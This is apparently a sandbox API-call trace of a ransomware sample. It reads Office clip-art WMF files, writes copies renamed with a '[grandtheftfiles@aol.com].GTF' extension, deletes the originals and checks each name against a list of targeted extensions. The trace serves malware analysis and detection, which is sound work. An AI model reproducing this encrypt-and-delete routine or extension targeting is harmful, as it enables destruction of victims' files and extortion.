	[0175.282] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x3394, lpOverlapped=0x0) returned 1
	[0175.299] WriteFile (in: hFile=0x428, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x33a0, lpOverlapped=0x0) returned 1
	[0175.300] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.300] WriteFile (in: hFile=0x428, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.300] SetEndOfFile (hFile=0x428) returned 1
	[0175.300] CloseHandle (hObject=0x428) returned 1
	[0175.300] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.300] SetEndOfFile (hFile=0x3dc) returned 1
	[0175.304] CloseHandle (hObject=0x3dc) returned 1
	[0175.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 1
	[0175.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0175.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0175.306] lstrlenW (lpString=".doc") returned 4
	[0175.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.306] lstrlenW (lpString=".docx") returned 5
	[0175.306] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0175.306] lstrlenW (lpString=".pdf") returned 4
	[0175.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.306] lstrlenW (lpString=".xls") returned 4
	[0175.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.306] lstrlenW (lpString=".xlsx") returned 5
	[0175.306] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0175.306] lstrlenW (lpString=".ppt") returned 4
	[0175.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0175.306] lstrlenW (lpString=".zip") returned 4
	[0175.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.306] lstrlenW (lpString=".rar") returned 4
	[0175.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.306] lstrlenW (lpString=".bz2") returned 4
	[0175.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.306] lstrlenW (lpString=".7z") returned 3
	[0175.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0175.306] lstrlenW (lpString=".dbf") returned 4
	[0175.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0175.306] lstrlenW (lpString=".1cd") returned 4
	[0175.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0175.306] lstrlenW (lpString=".jpg") returned 4
	[0175.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0175.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0175.307] lstrlenW (lpString=".doc") returned 4
	[0175.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.307] lstrlenW (lpString=".docx") returned 5
	[0175.307] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0175.307] lstrlenW (lpString=".pdf") returned 4
	[0175.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.307] lstrlenW (lpString=".xls") returned 4
	[0175.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.307] lstrlenW (lpString=".xlsx") returned 5
	[0175.307] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0175.307] lstrlenW (lpString=".ppt") returned 4
	[0175.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0175.307] lstrlenW (lpString=".zip") returned 4
	[0175.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.307] lstrlenW (lpString=".rar") returned 4
	[0175.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.307] lstrlenW (lpString=".bz2") returned 4
	[0175.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.307] lstrlenW (lpString=".7z") returned 3
	[0175.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0175.307] lstrlenW (lpString=".dbf") returned 4
	[0175.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0175.307] lstrlenW (lpString=".1cd") returned 4
	[0175.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0175.307] lstrlenW (lpString=".jpg") returned 4
	[0175.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.308] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.308] lstrlenW (lpString="J0151073.WMF") returned 12
	[0175.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0175.308] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=13336) returned 1
	[0175.309] CloseHandle (hObject=0x3dc) returned 1
	[0175.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 0x220
	[0175.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0175.309] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.309] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0175.310] GetLastError () returned 0x0
	[0175.310] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x3418, lpOverlapped=0x0) returned 1
	[0175.314] WriteFile (in: hFile=0x428, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x3420, lpOverlapped=0x0) returned 1
	[0175.315] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.315] WriteFile (in: hFile=0x428, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.315] SetEndOfFile (hFile=0x428) returned 1
	[0175.315] CloseHandle (hObject=0x428) returned 1
	[0175.315] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.316] SetEndOfFile (hFile=0x3dc) returned 1
	[0175.319] CloseHandle (hObject=0x3dc) returned 1
	[0175.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 1
	[0175.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0175.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0175.320] lstrlenW (lpString=".doc") returned 4
	[0175.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.320] lstrlenW (lpString=".docx") returned 5
	[0175.320] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0175.320] lstrlenW (lpString=".pdf") returned 4
	[0175.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.321] lstrlenW (lpString=".xls") returned 4
	[0175.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.321] lstrlenW (lpString=".xlsx") returned 5
	[0175.321] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0175.321] lstrlenW (lpString=".ppt") returned 4
	[0175.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0175.321] lstrlenW (lpString=".zip") returned 4
	[0175.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.321] lstrlenW (lpString=".rar") returned 4
	[0175.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.321] lstrlenW (lpString=".bz2") returned 4
	[0175.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.321] lstrlenW (lpString=".7z") returned 3
	[0175.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0175.321] lstrlenW (lpString=".dbf") returned 4
	[0175.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0175.321] lstrlenW (lpString=".1cd") returned 4
	[0175.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0175.321] lstrlenW (lpString=".jpg") returned 4
	[0175.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0175.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0175.321] lstrlenW (lpString=".doc") returned 4
	[0175.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.321] lstrlenW (lpString=".docx") returned 5
	[0175.321] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0175.321] lstrlenW (lpString=".pdf") returned 4
	[0175.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.322] lstrlenW (lpString=".xls") returned 4
	[0175.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.322] lstrlenW (lpString=".xlsx") returned 5
	[0175.322] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0175.322] lstrlenW (lpString=".ppt") returned 4
	[0175.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0175.322] lstrlenW (lpString=".zip") returned 4
	[0175.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.322] lstrlenW (lpString=".rar") returned 4
	[0175.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.322] lstrlenW (lpString=".bz2") returned 4
	[0175.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.322] lstrlenW (lpString=".7z") returned 3
	[0175.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0175.322] lstrlenW (lpString=".dbf") returned 4
	[0175.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0175.322] lstrlenW (lpString=".1cd") returned 4
	[0175.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68
	[0175.322] lstrlenW (lpString=".jpg") returned 4
	[0175.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.322] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.323] lstrlenW (lpString="J0151581.WMF") returned 12
	[0175.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0175.578] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=10752) returned 1
	[0175.578] CloseHandle (hObject=0x3dc) returned 1
	[0175.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 0x220
	[0175.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0175.579] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.579] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0175.581] GetLastError () returned 0x0
	[0175.581] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x2a00, lpOverlapped=0x0) returned 1
	[0175.595] WriteFile (in: hFile=0x48c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x2a10, lpOverlapped=0x0) returned 1
	[0175.596] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.596] WriteFile (in: hFile=0x48c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.596] SetEndOfFile (hFile=0x48c) returned 1
	[0175.596] CloseHandle (hObject=0x48c) returned 1
	[0175.596] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.596] SetEndOfFile (hFile=0x3dc) returned 1
	[0175.599] CloseHandle (hObject=0x3dc) returned 1
	[0175.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 1
	[0175.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0175.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0175.601] lstrlenW (lpString=".doc") returned 4
	[0175.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.601] lstrlenW (lpString=".docx") returned 5
	[0175.601] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0175.601] lstrlenW (lpString=".pdf") returned 4
	[0175.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.601] lstrlenW (lpString=".xls") returned 4
	[0175.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.601] lstrlenW (lpString=".xlsx") returned 5
	[0175.601] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0175.601] lstrlenW (lpString=".ppt") returned 4
	[0175.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0175.601] lstrlenW (lpString=".zip") returned 4
	[0175.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.601] lstrlenW (lpString=".rar") returned 4
	[0175.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.601] lstrlenW (lpString=".bz2") returned 4
	[0175.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.602] lstrlenW (lpString=".7z") returned 3
	[0175.602] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0175.602] lstrlenW (lpString=".dbf") returned 4
	[0175.602] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0175.602] lstrlenW (lpString=".1cd") returned 4
	[0175.602] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0175.602] lstrlenW (lpString=".jpg") returned 4
	[0175.602] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0175.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0175.602] lstrlenW (lpString=".doc") returned 4
	[0175.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.602] lstrlenW (lpString=".docx") returned 5
	[0175.602] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0175.602] lstrlenW (lpString=".pdf") returned 4
	[0175.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.602] lstrlenW (lpString=".xls") returned 4
	[0175.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.602] lstrlenW (lpString=".xlsx") returned 5
	[0175.602] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0175.602] lstrlenW (lpString=".ppt") returned 4
	[0175.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0175.602] lstrlenW (lpString=".zip") returned 4
	[0175.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.602] lstrlenW (lpString=".rar") returned 4
	[0175.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.602] lstrlenW (lpString=".bz2") returned 4
	[0175.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.603] lstrlenW (lpString=".7z") returned 3
	[0175.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0175.603] lstrlenW (lpString=".dbf") returned 4
	[0175.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0175.603] lstrlenW (lpString=".1cd") returned 4
	[0175.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0175.603] lstrlenW (lpString=".jpg") returned 4
	[0175.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.603] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.603] lstrlenW (lpString="J0152556.WMF") returned 12
	[0175.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0175.758] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=16432) returned 1
	[0175.758] CloseHandle (hObject=0x580) returned 1
	[0175.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 0x220
	[0175.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0175.759] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.759] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
